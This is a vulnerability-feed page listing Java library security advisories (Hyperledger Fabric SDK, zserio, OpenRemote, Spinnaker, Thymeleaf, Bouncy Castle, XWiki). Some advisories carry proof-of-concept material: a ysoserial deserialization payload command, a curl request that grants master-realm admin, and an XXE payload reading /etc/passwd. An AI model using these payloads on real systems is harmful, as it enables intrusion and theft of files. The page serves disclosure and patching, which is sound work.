🛡️ Vuln Watch
Vulnerabilities Package Scanner
🕐 آخر تحديث:
⏭️ التحديث القادم:
⏳ المتبقي: 00:00
الإجمالي: 242213
نتائج: 27
ص: 1/1
📡 المصادر:
9.3/10 حرجة
📦 org.hyperledger.fabric-sdk-java:fabric-sdk-java 📌 >= 1.0.0, <= 2.2.26 🌐 متصفح ⚙️ لغة Perl maven ⚡ Deserialization 🎯 عن بعد ⚪ لم تُستغل 🔍 brodmart
💬 ## Summary This advisory covers the deprecated `fabric-sdk-java` client SDK. `Channel.java` implements `readObject()` and exposes `deSerializeChannel()` which call `ObjectInputStream.readObject()` on untrusted byte arrays without configuring an `ObjectInputFilter`. This is the c...
📅 2026-04-29 GitHub 🔗 التفاصيل

الوصف الكامل

## Summary This advisory covers the deprecated `fabric-sdk-java` client SDK. `Channel.java` implements `readObject()` and exposes `deSerializeChannel()` which call `ObjectInputStream.readObject()` on untrusted byte arrays without configuring an `ObjectInputFilter`. This is the classic Java deserialization RCE pattern. **Note:** `fabric-sdk-java` is deprecated and maintained in https://github.com/hyperledger/fabric-sdk-java. Filing here as that repo does not have private vulnerability reporting enabled. ## Affected Code ```java // src/main/java/org/hyperledger/fabric/sdk/Channel.java private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); // No ObjectInputFilter configured } public Channel deSerializeChannel(byte[] channelBytes) throws IOException, ClassNotFoundException, InvalidArgumentException { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(channelBytes)); Channel channel = (Channel) ois.readObject(); // Untrusted bytes deserialized return channel; } ``` ## Attack Vector An attacker who can supply crafted serialized Channel bytes to the client application — for example, by compromising a local channel file, injecting data through an application that accepts Channel bytes from external sources, or exploiting a separate write primitive — can achieve RCE via gadget chain exploitation when deSerializeChannel() processes those bytes. The risk is highest in deployments that accept Channel data from sources outside the client's direct control. Note: channel data is not transmitted from Fabric peers; this is a client-side deserialization surface. ## Proof of Concept ```java // Generate malicious payload with ysoserial: // java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" > malicious_channel.ser // Victim code: byte[] maliciousBytes = Files.readAllBytes(Paths.get("malicious_channel.ser")); Channel channel = client.deSerializeChannel(maliciousBytes); // RCE fires here ``` ## Notes on Deprecation fabric-sdk-java is deprecated as of Hyperledger Fabric v2.5 (replaced by `org.hyperledger.fabric:fabric-gateway`). However, organizations that have not yet migrated remain fully exposed. Automated dependency scanners (Snyk, Dependabot) cannot alert users without a published GHSA. This advisory is filed to ensure those users are notified and directed to migrate. ## Fix For the deprecated SDK: add `ObjectInputFilter` to whitelist only expected classes: ```java ObjectInputFilter filter = ObjectInputFilter.Config.createFilter( "org.hyperledger.fabric.sdk.*;java.util.*;java.lang.*;!*" ); ois.setObjectInputFilter(filter); ``` **The recommended remediation is migration to `org.hyperledger.fabric:fabric-gateway`**, which does not use Java serialization. ## Resources - CWE-502: Deserialization of Untrusted Data - Migration guide: https://hyperledger.github.io/fabric-gateway/ ## Credits Found via independent security research.

الإصدارات المتأثرة

>= 1.0.0, <= 2.2.26

نوع الثغرة

CWE-502 — Deserialization

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

7.5/10 عالية
📦 io.github.ndsev:zserio-runtime 🏢 nds-association 📌 <= 2.18.0 📄 مكتبي 📦 مكتبة Java maven ⚡ CWE-789 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 Ryujiyasu
💬 ## Summary ### Unbounded Memory Allocation (all platforms) A crafted payload as small as 4-5 bytes can force memory allocations of up to 16 GB, crashing any process with an OOM error (Denial of Service). **Affected code (C++):** - `cpp/runtime/src/zserio/Array.h` (line 1029) —...
📅 2026-04-24 GitHub 🔗 التفاصيل

الوصف الكامل

## Summary ### Unbounded Memory Allocation (all platforms) A crafted payload as small as 4-5 bytes can force memory allocations of up to 16 GB, crashing any process with an OOM error (Denial of Service). **Affected code (C++):** - `cpp/runtime/src/zserio/Array.h` (line 1029) — `m_rawArray.reserve(readLength)` with unchecked `readLength` - `cpp/runtime/src/zserio/BitStreamReader.h` (lines 249, 281) — `value.reserve(len)` with unchecked `len` **Affected code (Java):** - `java/runtime/src/zserio/runtime/array/Array.java` (line 271) — `rawArray.reset(readSize)` → `new int[readSize]` - `java/runtime/src/zserio/runtime/io/ByteArrayBitStreamReader.java` (line 245) — `new byte[length]` ## Proof of Concept ### Memory Allocation DoS (verified on 64-bit) | Payload | Claimed Size | Allocated | Amplification | |---------|-------------|-----------|---------------| | 4 bytes | 100,000,000 | 762 MB | ~200 million x | | 5 bytes | 2,147,483,647 | ~16 GB | system crash | The full PoC source code and Docker build files are available upon request. ## Impact zserio is the serialization framework underlying the **NDS (Navigation Data Standard)**, used by 43 member companies including Toyota, BMW, Volkswagen, Mercedes-Benz, and others. According to the Eclipse zserio project: > "Zserio serialized data is used in millions of deployments in cars on the road" Attack vectors include NDS.Live cloud map updates, map data supply chain compromise, and backend data processing pipelines. On 32-bit automotive ECUs, this could affect ADAS functionality. ## Suggested Fix ### For all runtimes: Validate varsize against stream size ``` if (claimedSize > remainingBytesInStream) { throw error("varsize claims more data than available in stream"); } ``` ## Disclosure Timeline - **2026-03-08:** Reported to Woven by Toyota PSIRT (go-zserio) - **2026-03-10:** Reported to ndsev/zserio maintainers via GitHub Security Advisory - **2026-03-23:** Split off overflow vulnerability to own report - **90-day coordinated disclosure timeline** A patch for this issue is available at https://github.com/ndsev/zserio/releases/tag/v2.18.1. ## Reporter Ryuji Yasukochi (ryuji.yasu@gmail.com)

الإصدارات المتأثرة

<= 2.18.0

نوع الثغرة

CWE-789 — CWE-789

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

7/10 عالية
📦 io.openremote:openremote-manager 🏢 openremote 📌 < 1.22.1 ⛓️‍💥 هجوم سلسلة التوريد 📦 مكتبة Java maven ⚡ CWE-284 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 KKC73
💬 ### Summary A user who has `write:admin` in one Keycloak realm can call the Manager API to update **Keycloak realm roles** for users in **another** realm, including **`master`**. The handler uses the `{realm}` path segment when talking to the identity provider but does not check ...
📅 2026-04-22 GitHub 🔗 التفاصيل

الوصف الكامل

### Summary A user who has `write:admin` in one Keycloak realm can call the Manager API to update **Keycloak realm roles** for users in **another** realm, including **`master`**. The handler uses the `{realm}` path segment when talking to the identity provider but does not check that the caller may administer that realm. This could result in a privilege escalation to `master` realm administrator if the attacker controls any user in `master` realm. ### Details In `manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java`, there is no check to validate if the caller should be able to administer a realm they're trying to update. ```340:353:manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java @Override public void updateUserRealmRoles(RequestParams requestParams, String realm, String userId, String[] roles) { try { identityService.getIdentityProvider().updateUserRealmRoles( realm, userId, roles); } catch (ClientErrorException ex) { ex.printStackTrace(System.out); throw new WebApplicationException(ex.getCause(), ex.getResponse().getStatus()); } catch (Exception ex) { throw new WebApplicationException(ex); } } ``` ### PoC 1. Create a **new** Keycloak realm other than `master`. Add a user and grant that user the OpenRemote client role `write:admin`. Remember the realm name (call it `NEW_REALM`). 2. In Keycloak realm `master`, pick a **low-privilege** user (no `admin` realm role). Copy that user’s UUID (`<master-user-uuid>`). 3. Authenticate as the user from step 1 and obtain a Bearer access token (`<token>`) for `NEW_REALM`. 4. Replace placeholders and run: ```bash curl -k -X PUT "https://<host>/api/<NEW_REALM>/user/master/userRealmRoles/<master-user-uuid>" \ -H "Authorization: Bearer <token>" \ -H "Content-Type: application/json" \ -d '["admin"]' ``` 5. In the Keycloak Admin Console, realm master, that user, Role mapping. Confirm the admin realm role is assigned. ### Impact An attacker with the OpenRemote client role write:admin in any realm can call this API with {realm} set to another realm (for example master) and change Keycloak realm roles for users there. That can grant admin on master to a user UUID they target, which gives Keycloak administrator access for the master realm.

الإصدارات المتأثرة

< 1.22.1

نوع الثغرة

CWE-284 — CWE-284

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L

7.1/10 عالية
📦 apktool 🏢 apktool 📌 3.0.0 - 3.0.2 🌐 متصفح 📦 مكتبة Java maven ⚡ Path Traversal 🎯 محلي ⚪ لم تُستغل 🟢 ترقيع 🔍 caveeroo, IgorEisberg
💬 A path traversal vulnerability in `brut/androlib/res/decoder/ResFileDecoder.java` allows a maliciously crafted APK to write arbitrary files to the filesystem during standard decoding (`apktool d`). This is a security regression introduced in commit [e10a045](https://github.com/iB...
📅 2026-04-21 NVD 🔗 التفاصيل

الوصف الكامل

A path traversal vulnerability in `brut/androlib/res/decoder/ResFileDecoder.java` allows a maliciously crafted APK to write arbitrary files to the filesystem during standard decoding (`apktool d`). This is a security regression introduced in commit [e10a045](https://github.com/iBotPeaches/Apktool/commit/e10a0450c7afcd9462c0b76bcbff0e7428b92bdd#diff-cd531ebe1014bfd18185bf21585ca5cdb16fbcb07703ebc47949a1b4e4e36bc3) ([PR #4041](https://github.com/iBotPeaches/Apktool/pull/4041), December 12, 2025), which removed the `BrutIO.sanitizePath()` call that previously prevented path traversal in resource file output paths. An attacker can embed `../` sequences in the `resources.arsc` Type String Pool to escape the output directory and write files to arbitrary locations, including `~/.ssh/config`, `~/.bashrc`, or Windows Startup folders, escalating to RCE. **Fix:** Re-introduce `BrutIO.sanitizePath()` in `ResFileDecoder.java` before file write operations.

الإصدارات المتأثرة

3.0.0 - 3.0.2

نوع الثغرة

CWE-22 — Path Traversal

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

9.9/10 حرجة
📦 io.spinnaker.echo:echo-pipelinetriggers, io.spinnaker.echo:echo-pipelinetriggers, io.spinnaker.echo:echo-pipelinetriggers 🏢 linuxfoundation 📌 >= 2026.0-0, < 2026.0.1, >= 2025.4-0, < 2025.4.2, < 2025.3.2 🗄️ سيرفر 📦 مكتبة Java maven ⚡ Code Injection 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 LeftenantZero, jasonmcintosh
💬 Spinnaker is an open source, multi-cloud continuous delivery platform. Echo like some other services, uses SPeL (Spring Expression Language) to process information - specifically around expected artifacts. In versions prior to 2026.1.0, 2026.0.1, 2025.4.2, and 2025.3.2, unlike or...
📅 2026-04-20 NVD 🔗 التفاصيل

الوصف الكامل

Spinnaker is an open source, multi-cloud continuous delivery platform. Echo like some other services, uses SPeL (Spring Expression Language) to process information - specifically around expected artifacts. In versions prior to 2026.1.0, 2026.0.1, 2025.4.2, and 2025.3.2, unlike orca, it was NOT restricting that context to a set of trusted classes, but allowing FULL JVM access. This enabled a user to use arbitrary java classes which allow deep access to the system. This enabled the ability to invoke commands, access files, etc. Versions 2026.1.0, 2026.0.1, 2025.4.2, and 2025.3.2 contain a patch. As a workaround, disable echo entirely.

الإصدارات المتأثرة

>= 2026.0-0, < 2026.0.1, >= 2025.4-0, < 2025.4.2, < 2025.3.2

نوع الثغرة

CWE-94 — Code Injection

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

9.9/10 حرجة
📦 io.spinnaker.clouddriver:clouddriver-artifacts-gitrepo 🏢 linuxfoundation 📌 < 2026.0.1 ⛓️‍💥 هجوم سلسلة التوريد 📦 مكتبة Java maven ⚡ Input Validation 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 LeftenantZero, jasonmcintosh
💬 Spinnaker is an open source, multi-cloud continuous delivery platform. In versions prior to 2026.1.0, 2026.0.1, 2025.4.2, and 2025.3.2, a bad actor can execute arbitrary commands very simply on the clouddriver pods. This can expose credentials, remove files, or inject resources e...
📅 2026-04-20 NVD 🔗 التفاصيل

الوصف الكامل

Spinnaker is an open source, multi-cloud continuous delivery platform. In versions prior to 2026.1.0, 2026.0.1, 2025.4.2, and 2025.3.2, a bad actor can execute arbitrary commands very simply on the clouddriver pods. This can expose credentials, remove files, or inject resources easily. Versions 2026.1.0, 2026.0.1, 2025.4.2, and 2025.3.2 contain a patch. As a workaround, disable the gitrepo artifact types.

الإصدارات المتأثرة

< 2026.0.1

نوع الثغرة

CWE-20 — Input Validation

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

7/10 عالية
📦 org.pac4j:pac4j-core, org.pac4j:pac4j-core 🏢 pac4j 📌 < 5.7.10, >= 6.0.0-RC1, < 6.4.1 🌐 متصفح 📦 مكتبة Java maven ⚡ CSRF 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 PAC4J is vulnerable to Cross-Site Request Forgery (CSRF). A malicious attacker can craft a specially designed website which, when visited by a user, will automatically submit a forged cross-site request with a token whose hash collides with the victim's legitimate CSRF token. Imp...
📅 2026-04-17 NVD 🔗 التفاصيل

الوصف الكامل

PAC4J is vulnerable to Cross-Site Request Forgery (CSRF). A malicious attacker can craft a specially designed website which, when visited by a user, will automatically submit a forged cross-site request with a token whose hash collides with the victim's legitimate CSRF token. Importantly, the attacker does not need to know the victim’s CSRF token or its hash prior to the attack. Collisions in the deterministic String.hashCode() function can be computed directly, reducing the effective token's security space to 32 bits. This bypasses CSRF protection, allowing profile updates, password changes, account linking, and any other state-changing operations to be performed without the victim's consent. This issue was fixed in PAC4J versions 5.7.10 and 6.4.1.

الإصدارات المتأثرة

< 5.7.10, >= 6.0.0-RC1, < 6.4.1

نوع الثغرة

CWE-352 — CSRF

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

4.9/10 متوسطة
📦 com.ritense.valtimo:inbox 📌 >= 13.0.0.RELEASE, < 13.22.0.RELEASE 🎬 وسائط 📦 مكتبة Java maven ⚡ CWE-532 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary The `InboxHandlingService` logs the full content of every incoming inbox message at INFO level (`logger.info("Received message: {}", message)`). Inbox messages are wrappers around outbox message data, which can contain highly sensitive information such as personal da...
📅 2026-04-16 GitHub 🔗 التفاصيل

الوصف الكامل

### Summary The `InboxHandlingService` logs the full content of every incoming inbox message at INFO level (`logger.info("Received message: {}", message)`). Inbox messages are wrappers around outbox message data, which can contain highly sensitive information such as personal data (PII), citizen identifiers (BSN), and case details. ### Impact This data is exposed to: - Anyone with access to application logs (stdout/log files) - Any Valtimo user with the admin role, through the logging module in the Admin UI ### Affected Code `com.ritense.inbox.InboxHandlingService#handle` in the `inbox` module. ### Resolution Fixed in [13.22.0](https://github.com/valtimo-platform/valtimo/releases/tag/13.22.0) via commit [`f16a1940ba`](https://github.com/valtimo-platform/valtimo/commit/f16a1940ba7b34627c0b966f98ca78655ace9335) (PR [#497](https://github.com/valtimo-platform/valtimo/pull/497), tracking issue [gzac-issues#653](https://github.com/generiekzaakafhandelcomponent/gzac-issues/issues/653)). The log statement was downgraded from INFO to DEBUG and the message payload was removed from the log output. ### Mitigation For versions before 13.22.0, consider: - Restricting access to application logs - Adjusting the log level for `com.ritense.inbox` to WARN or higher in your application configuration

الإصدارات المتأثرة

>= 13.0.0.RELEASE, < 13.22.0.RELEASE

نوع الثغرة

CWE-532 — CWE-532

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

9.1/10 حرجة
📦 org.thymeleaf:thymeleaf, org.thymeleaf:thymeleaf-spring5, org.thymeleaf:thymeleaf-spring6 🏢 thymeleaf 📌 <= 3.1.3.RELEASE, <= 3.1.3.RELEASE, <= 3.1.3.RELEASE 🗄️ سيرفر 📦 مكتبة Java maven ⚡ CWE-917 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Impact A security bypass vulnerability exists in the expression execution mechanisms of Thymeleaf up to and including 3.1.3.RELEASE. Although the library provides mechanisms to prevent expression injection, it fails to properly neutralize specific syntax patterns that allow f...
📅 2026-04-15 GitHub 🔗 التفاصيل

الوصف الكامل

### Impact A security bypass vulnerability exists in the expression execution mechanisms of Thymeleaf up to and including 3.1.3.RELEASE. Although the library provides mechanisms to prevent expression injection, it fails to properly neutralize specific syntax patterns that allow for the execution of unauthorized expressions. If an application developer passes unvalidated user input directly to the template engine, an unauthenticated remote attacker can bypass the library's protections to achieve Server-Side Template Injection (SSTI). ### Patches This has been fixed in Thymeleaf 3.1.4.RELEASE. ### Workarounds No workaround is available beyond ensuring applications do not pass unvalidated user input directly to the template engine. Upgrading to 3.1.4.RELEASE is strongly recommended in any case. ### Credits Thanks to Dawid Bakaj (VIPentest.com) for responsible disclosure.

الإصدارات المتأثرة

<= 3.1.3.RELEASE, <= 3.1.3.RELEASE, <= 3.1.3.RELEASE

نوع الثغرة

CWE-917 — CWE-917

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

9.1/10 حرجة
📦 org.thymeleaf:thymeleaf, org.thymeleaf:thymeleaf-spring5, org.thymeleaf:thymeleaf-spring6 🏢 thymeleaf 📌 <= 3.1.3.RELEASE, <= 3.1.3.RELEASE, <= 3.1.3.RELEASE 🗄️ سيرفر 📦 مكتبة Java maven ⚡ CWE-917 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Impact A security bypass vulnerability exists in the expression execution mechanisms of Thymeleaf up to and including 3.1.3.RELEASE. Although the library provides mechanisms to prevent expression injection, it fails to properly restrict the scope of accessible objects, allowi...
📅 2026-04-15 GitHub 🔗 التفاصيل

الوصف الكامل

### Impact A security bypass vulnerability exists in the expression execution mechanisms of Thymeleaf up to and including 3.1.3.RELEASE. Although the library provides mechanisms to prevent expression injection, it fails to properly restrict the scope of accessible objects, allowing specific potentially sensitive objects to be reached from within a template. If an application developer passes unvalidated user input directly to the template engine, an unauthenticated remote attacker can bypass the library's protections to achieve Server-Side Template Injection (SSTI). ### Patches This has been fixed in Thymeleaf 3.1.4.RELEASE. ### Workarounds No workaround is available beyond ensuring applications do not pass unvalidated user input directly to the template engine. Upgrading to 3.1.4.RELEASE is strongly recommended in any case. ### Credits Thanks to Thomas Reburn (Praetorian) for responsible disclosure.

الإصدارات المتأثرة

<= 3.1.3.RELEASE, <= 3.1.3.RELEASE, <= 3.1.3.RELEASE

نوع الثغرة

CWE-917 — CWE-917

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

7.6/10 عالية
📦 io.openremote:openremote-manager 🏢 openremote 📌 <= 1.21.0 ⛓️‍💥 هجوم سلسلة التوريد 📦 مكتبة Java maven ⚡ XXE 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 KKC73
💬 ### Summary The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must ...
📅 2026-04-15 GitHub 🔗 التفاصيل

الوصف الكامل

### Summary The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters. ### Details Velbus import uses `DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...)` on untrusted XML input, without explicit safeguards to disable DTD/external entities. ```154:165:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java @Override public Future<Void> startAssetImport(byte[] fileData, Consumer<AssetTreeNode[]> assetConsumer) { return executorService.submit(() -> { Document xmlDoc; try { String xmlStr = new String(fileData, StandardCharsets.UTF_8); LOG.info("Parsing VELBUS project file"); xmlDoc = DocumentBuilderFactory .newInstance() .newDocumentBuilder() .parse(new InputSource(new StringReader(xmlStr))); ``` Expanded `Caption` content is propagated into created asset names: ```193:198:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java String name = module.getElementsByTagName("Caption").item(0).getTextContent(); name = isNullOrEmpty(name) ? deviceType.toString() : name; // TODO: Use device specific asset types Asset<?> device = new ThingAsset(name); ``` ### PoC 1. Log in to a realm with a user that can call Velbus asset import. 2. Create/select a Velbus TCP Agent in that same realm. 3. Send `POST /api/{realm}/agent/assetImport/{agentId}` with a Velbus project XML payload and compare behavior against a baseline import file. 3. Save the below code as a `xxe.xml` and upload to `Setup` under `https://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>`. Chnage the `file:///etc/passwd` to another file if your `passwd` is longer than 1023 characters. ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE velbus [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <Project> <Module type="VMB1RY" address="01" build="00" serial="LAB"> <Caption>&xxe;</Caption> </Module> </Project> ``` As long as the file content is under 1023 characters, the exploit will succeed. <img width="1200" height="662" alt="image" src="https://github.com/user-attachments/assets/213f063d-98b6-4717-b98c-f4255952026b" /> If the file content reaches the limit, an error is thrown. <img width="1200" height="630" alt="image" src="https://github.com/user-attachments/assets/ee177a6b-2cb2-48ae-94df-c994ecb41429" /> ### Impact - **Type:** XML External Entity (XXE) - **Affected:** Deployments exposing Velbus import to authenticated users with import access - **Risk:** limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.

الإصدارات المتأثرة

<= 1.21.0

نوع الثغرة

CWE-611 — XXE

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

8.7/10 عالية
📦 org.bouncycastle:bcpg-jdk12, org.bouncycastle:bcpg-jdk14, org.bouncycastle:bcpg-jdk15, org.bouncycastle:bcpg-jdk15to18, org.bouncycastle:bcpg-jdk15on, org.bouncycastle:bcpg-jdk16, org.bouncycastle:bcpg-jdk18on 📌 <= 130, < 1.84, <= 1.46, < 1.84, <= 1.70, <= 1.46, < 1.84 ⛓️‍💥 هجوم سلسلة التوريد 📦 مكتبة Java maven ⚡ DoS 🎯 عن بعد ⚪ لم تُستغل
💬 Allocation of resources without limits or throttling, Uncontrolled Resource Consumption vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpg on all (pg modules). This vulnerability is associated with program files AEADEncDataPacket.Java, BcAEADUtil.Java, JceAEADUtil.Jav...
📅 2026-04-15 NVD 🔗 التفاصيل

الوصف الكامل

Allocation of resources without limits or throttling, Uncontrolled Resource Consumption vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpg on all (pg modules). This vulnerability is associated with program files AEADEncDataPacket.Java, BcAEADUtil.Java, JceAEADUtil.Java, OperatorHelper.Java. This issue affects BC-JAVA: from 1.74 before 1.84.

الإصدارات المتأثرة

<= 130, < 1.84, <= 1.46, < 1.84, <= 1.70, <= 1.46, < 1.84

نوع الثغرة

CWE-400 — DoS

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

5.5/10 متوسطة
📦 org.bouncycastle:bcprov-jdk14, org.bouncycastle:bcprov-jdk15to18, org.bouncycastle:bcprov-jdk18on 📌 >= 1.74, < 1.84, >= 1.74, < 1.84, >= 1.74, < 1.84 ⛓️‍💥 هجوم سلسلة التوريد 📦 مكتبة Java maven ⚡ CWE-90 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper. This issue affects BC-JAVA: from 1.74...
📅 2026-04-15 NVD 🔗 التفاصيل

الوصف الكامل

Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper. This issue affects BC-JAVA: from 1.74 before 1.84.

الإصدارات المتأثرة

>= 1.74, < 1.84, >= 1.74, < 1.84, >= 1.74, < 1.84

نوع الثغرة

CWE-90 — CWE-90

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:A/V:X/RE:M/U:Amber

6.9/10 متوسطة
📦 org.xwiki.platform:xwiki-platform-oldcore, org.xwiki.platform:xwiki-platform-oldcore, org.xwiki.platform:xwiki-platform-oldcore, org.xwiki.platform:xwiki-platform-legacy-oldcore, org.xwiki.platform:xwiki-platform-legacy-oldcore, org.xwiki.platform:xwiki-platform-legacy-oldcore 📌 >= 1.8-rc-1, < 16.10.16, >= 17.0.0-rc-1, < 17.4.8, >= 17.5.0-rc-1, < 17.10.1, >= 1.8-rc-1, < 16.10.16, >= 17.0.0-rc-1, < 17.4.8, >= 17.5.0-rc-1, < 17.10.1 ⛓️‍💥 هجوم سلسلة التوريد 📦 مكتبة Java maven ⚡ Resource Exhaustion 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Versions 1.8-rc-1, 17.0.0-rc-1 and 17.5.0-rc-1 and prior include a resource exhaustion vulnerability in REST API endpoints such as /xwiki/rest/wikis/xwiki/spaces/AnnotationCod...
📅 2026-04-14 GitHub 🔗 التفاصيل

الوصف الكامل

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Versions 1.8-rc-1, 17.0.0-rc-1 and 17.5.0-rc-1 and prior include a resource exhaustion vulnerability in REST API endpoints such as /xwiki/rest/wikis/xwiki/spaces/AnnotationCode/pages/AnnotationConfig/objects/AnnotationCode.AnnotationConfig/0/properties, which list all available pages as part of the metadata for database list properties without applying query limits. On large wikis, this can exhaust available server resources. This issue has been patched in versions 16.10.16, 17.4.8 and 17.10.1.

الإصدارات المتأثرة

>= 1.8-rc-1, < 16.10.16, >= 17.0.0-rc-1, < 17.4.8, >= 17.5.0-rc-1, < 17.10.1, >= 1.8-rc-1, < 16.10.16, >= 17.0.0-rc-1, < 17.4.8, >= 17.5.0-rc-1, < 17.10.1

نوع الثغرة

CWE-770 — Resource Exhaustion

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

6.5/10 متوسطة
📦 org.xwiki.platform:xwiki-platform-web-templates, org.xwiki.platform:xwiki-platform-web-templates, org.xwiki.platform:xwiki-platform-web-templates 📌 >= 10.4-rc-1, < 16.10.16, >= 17.0.0-rc-1, < 17.4.8, >= 17.5.0-rc-1, < 17.10.1 🌐 متصفح 📦 مكتبة Java maven ⚡ CWE-80 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 mikecole-mg
💬 ### Impact A reflected cross-site scripting vulnerability (XSS) in the compare view between revisions of a page allows executing JavaScript code in the user's browser. If the current user is an admin, this can not only affect the current user but also the confidentiality, integri...
📅 2026-04-14 GitHub 🔗 التفاصيل

الوصف الكامل

### Impact A reflected cross-site scripting vulnerability (XSS) in the compare view between revisions of a page allows executing JavaScript code in the user's browser. If the current user is an admin, this can not only affect the current user but also the confidentiality, integrity and availability of the whole XWiki instance. ### Patches The problem has been patched by properly escaping the URL parameters. ### Workarounds The [patch](https://github.com/xwiki/xwiki-platform/commit/3c8a2ec985641367015c2db937574fcd360c788c#diff-a5e75a4e3820a63c02a32666dda67c73ee7885ab8e7f67e52cfcb3be5a13326e) can be applied manually to `templates/changesdoc.vm` in the deployed WAR. ### Attribution XWiki thanks Mike Cole @mikecole-mg for discovering and reporting this vulnerability.

الإصدارات المتأثرة

>= 10.4-rc-1, < 16.10.16, >= 17.0.0-rc-1, < 17.4.8, >= 17.5.0-rc-1, < 17.10.1

نوع الثغرة

CWE-80 — CWE-80

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

10/10 حرجة
📦 io.openremote:openremote-manager 📌 <= 1.21.0 🗄️ سيرفر 📦 مكتبة Java maven ⚡ Code Injection 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 qxyuan853
💬 ### Summary The OpenRemote IoT platform's rules engine contains two interrelated critical expression injection vulnerabilities that allow an attacker to execute arbitrary code on the server, ultimately achieving full server compromise. - Unsandboxed Nashorn JavaScript Engine: Ja...
📅 2026-04-14 GitHub 🔗 التفاصيل

الوصف الكامل

### Summary The OpenRemote IoT platform's rules engine contains two interrelated critical expression injection vulnerabilities that allow an attacker to execute arbitrary code on the server, ultimately achieving full server compromise. - Unsandboxed Nashorn JavaScript Engine: JavaScript rules are executed via Nashorn's ScriptEngine.eval() with user-supplied script content and no sandboxing, class filtering, or access restrictions. Critically, any non-superuser with the write:rules role can create JavaScript rulesets. - Inactive Groovy Sandbox: The Groovy rules engine has a GroovyDenyAllFilter security filter that is defined but never registered (the registration code is commented out), rendering the SandboxTransformer ineffective. While Groovy rules are restricted to superusers, the absence of sandboxing violates the principle of defense in depth. ### Details #### Attacker-Controllable Source-to-Sink Paths There are two non-superuser and two superuser exploitable attack paths from the REST API entry point to final code execution. (JavaScript × Realm/Asset + Groovy × Realm/Asset) The most critical path is detailed below. 